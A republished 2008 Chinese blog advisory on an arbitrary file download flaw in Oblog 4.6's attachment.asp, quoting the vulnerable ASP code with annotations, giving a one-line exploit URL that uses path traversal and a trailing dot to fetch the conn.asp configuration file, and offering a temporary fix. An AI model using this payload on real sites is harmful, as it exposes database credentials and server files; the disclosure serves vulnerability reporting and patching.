Home 电脑技术 安全技术 [五一礼物] 真的补了吗 Oblog漏洞重现
[五一礼物] 真的补了吗 Oblog漏洞重现 E-mail
作者:洋葱圈   
周四, 01 5月 2008 22:11
作者:Tr4c3
本来这个礼物只是给BK瞬间群的朋友们共享了,特意说不让拿去搞官方,不幸的是还是有人首先拿官方测试,让人很郁闷,T了该人,拉黑。今天放出来给大家。
########################################################################
Tr4c3[at]126[dot]com 写于[2008-4-29]
版权所有:
http://www.nspcn.org/
http://www.tr4c3.com/
Bk瞬间 [QQ群] & Hi [QQ群]
########################################################################
程序下载:http://down.oblog.cn/oblog4/oblog46_Final_20080403.rar
########################################################################
描述:

愚人节那天雕牌在blog上公布了一个Oblog任意文件下载漏洞。文章见http://www.tr4c3.com/post/302.html <0day>愚人节的礼物 oblog文件下载漏洞。
随后官方发布的Oblog版本里对代码做了些许改动,并发布了相关补丁。详见:http://bbs.oblog.cn/dispbbs.asp?boardid=119&Id=132375 [oblog46体验版_patch_20080403补丁]
http://www.target.com/attachment.asp?path=./conn.asp这样已经无法下载文件,我从官方下载了最新 版本4.60 Final Build080403 Access(集成了attachment.asp补丁),发现修改后的代码并不能解决问题,OBlog任意文件下载漏洞依然存在。具体看 attachment.asp代码。
########################################################################
关键部分:

  1. Path = Trim(Request("path")) '获取用户提交的路径
  2. FileID = Trim(Request("FileID"))
  3. If FileID ="" And Path = "" Then
  4. Response.Write "参数不足"
  5. Response.End
  6. End If
  7. ...
  8. If CheckDownLoad  Or 1= 1Then
  9. If Path = "" Then
  10. set rs = Server.CreateObject("ADODB.RecordSet")
  11. link_database
  12. SQL = ("select file_path,userid,file_ext,ViewNum FROM oblog_upfile WHERE FileID = "&amp;CLng(FileID))
  13. rs.open sql,conn,1,3
  14. If Not rs.Eof Then
  15. uid = rs(1)
  16. file_ext = rs(2)
  17. rs("ViewNum") = rs("ViewNum") + 1
  18. rs.Update
  19. downloadFile Server.MapPath(rs(0)),0
  20. Else
  21. Response.Status=404
  22. Response.Write "该附件不存在!"
  23. End If
  24. rs.Close
  25. Set rs = Nothing
  26. Else
  27. If InStr(path,Oblog.CacheConfig(56)) &gt; 0 Then 'Tr4c3 标注:注意这里,仅仅判断用户提交的路径是否包含UploadFiles,为真则调用downloadfile函数下载文件
  28. downloadFile Server.MapPath(Path),1
  29. End if
  30. End If
  31. Else
  32. '如果附件为图片的话,当权限检验无法通过则调用一默认图片,防止&lt;img&gt;标记无法调用,影响显示效果
  33. If Path = "" Then
  34. Response.Status=403
  35. Response.Write ShowDownErr
  36. Response.End
  37. Else
  38. downloadFile Server.MapPath(blogdir&amp;"images/oblog_powered.gif"),1
  39. End if
  40. End if
  41.  
  42. Set oblog = Nothing
  43.  
  44. Sub downloadFile(strFile,stype)
  45. On Error Resume Next
  46. Server.ScriptTimeOut=9999999
  47. Dim S,fso,f,intFilelength,strFilename
  48. strFilename = strFile
  49. Response.Clear
  50. Set s = Server.CreateObject(oblog.CacheCompont(2))
  51. s.Open
  52. s.Type = 1
  53. Set fso = Server.CreateObject(oblog.CacheCompont(1))
  54. If Not fso.FileExists(strFilename) Then
  55. If stype = 0 Then
  56. Response.Status=404
  57. Response.Write "该附件已经被删除!"
  58. Exit Sub
  59. Else
  60. strFilename = Server.MapPath(blogdir&amp;"images/nopic.gif")
  61. End if
  62. End If
  63. Set f = fso.GetFile(strFilename)
  64. intFilelength = f.size
  65. s.LoadFromFile(strFilename)
  66. If Err Then
  67. Response.Write("&lt;h1&gt;错误: &lt;/h1&gt;" &amp; Err.Description &amp; "&lt;p&gt;")
  68. Response.End
  69. End If
  70. Set fso=Nothing
  71. Dim Data
  72. Data=s.Read
  73. s.Close
  74. Set s=Nothing
  75. Dim ContentType
  76. select Case LCase(Right(strFile, 4))
  77. Case ".asp",".mdb",".config",".js" 'Tr4c3 标注:再看这里,想起来什么来了?对了,前几天我发的沸腾展望新闻系统的任意下载漏洞跟这个检查的方法差不多[http://www.tr4c3.com /post/306.html],利用方法也相似,神奇的"."又派上用场了。
  78. Exit Sub
  79. Case ".asf"
  80. ContentType = "video/x-ms-asf"
  81. Case ".avi"
  82. ContentType = "video/avi"
  83. Case ".doc"
  84. ContentType = "application/msword"
  85. Case ".zip"
  86. ContentType = "application/zip"
  87. Case ".xls"
  88. ContentType = "application/vnd.ms-excel"
  89. Case ".gif"
  90. ContentType = "image/gif"
  91. Case ".jpg", "jpeg"
  92. ContentType = "image/jpeg"
  93. Case ".wav"
  94. ContentType = "audio/wav"
  95. Case ".mp3"
  96. ContentType = "audio/mpeg3"
  97. Case ".mpg", "mpeg"
  98. ContentType = "video/mpeg"
  99. Case ".rtf"
  100. ContentType = "application/rtf"
  101. Case ".htm", "html"
  102. ContentType = "text/html"
  103. Case ".txt"
  104. ContentType = "text/plain"
  105. Case Else
  106. ContentType = "application/octet-stream"
  107. End select
  108. If Response.IsClientConnected Then
  109. If Not (InStr(LCase(f.name),".gif")&gt;0 Or InStr(LCase(f.name),".jpg")&gt;0 Or InStr(LCase(f.name),".jpeg")&gt;0 Or InStr(LCase(f.name),".bmp")&gt;0 Or InStr(LCase(f.name),".png")&gt;0 )Then
  110. Response.AddHeader "Content-Disposition", "attachment; filename=" &amp; f.name
  111. End If
  112. Response.AddHeader "Content-Length", intFilelength
  113. Response.CharSet = "UTF-8"
  114. Response.ContentType = ContentType
  115. Response.BinaryWrite Data
  116. Response.Flush
  117. Response.Clear()
  118. End If
  119. End Sub
########################################################################
利用方法:
http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.
########################################################################
修补建议:
等待官方发布新的补丁程序。
########################################################################
临时解决办法:
将attachment.asp第5行 Path = Trim(Request(”path”)) 改成 Path = Replace(Trim(Request(”path”)),”..”,”")
###############################################
Trackback(0)
Comments (0)Add Comment

Write comment
quote
bold
italicize
underline
strike
url
image
quote
quote
smile
wink
laugh
grin
angry
sad
shocked
cool
tongue
kiss
cry
smaller | bigger

security code
Write the displayed characters


busy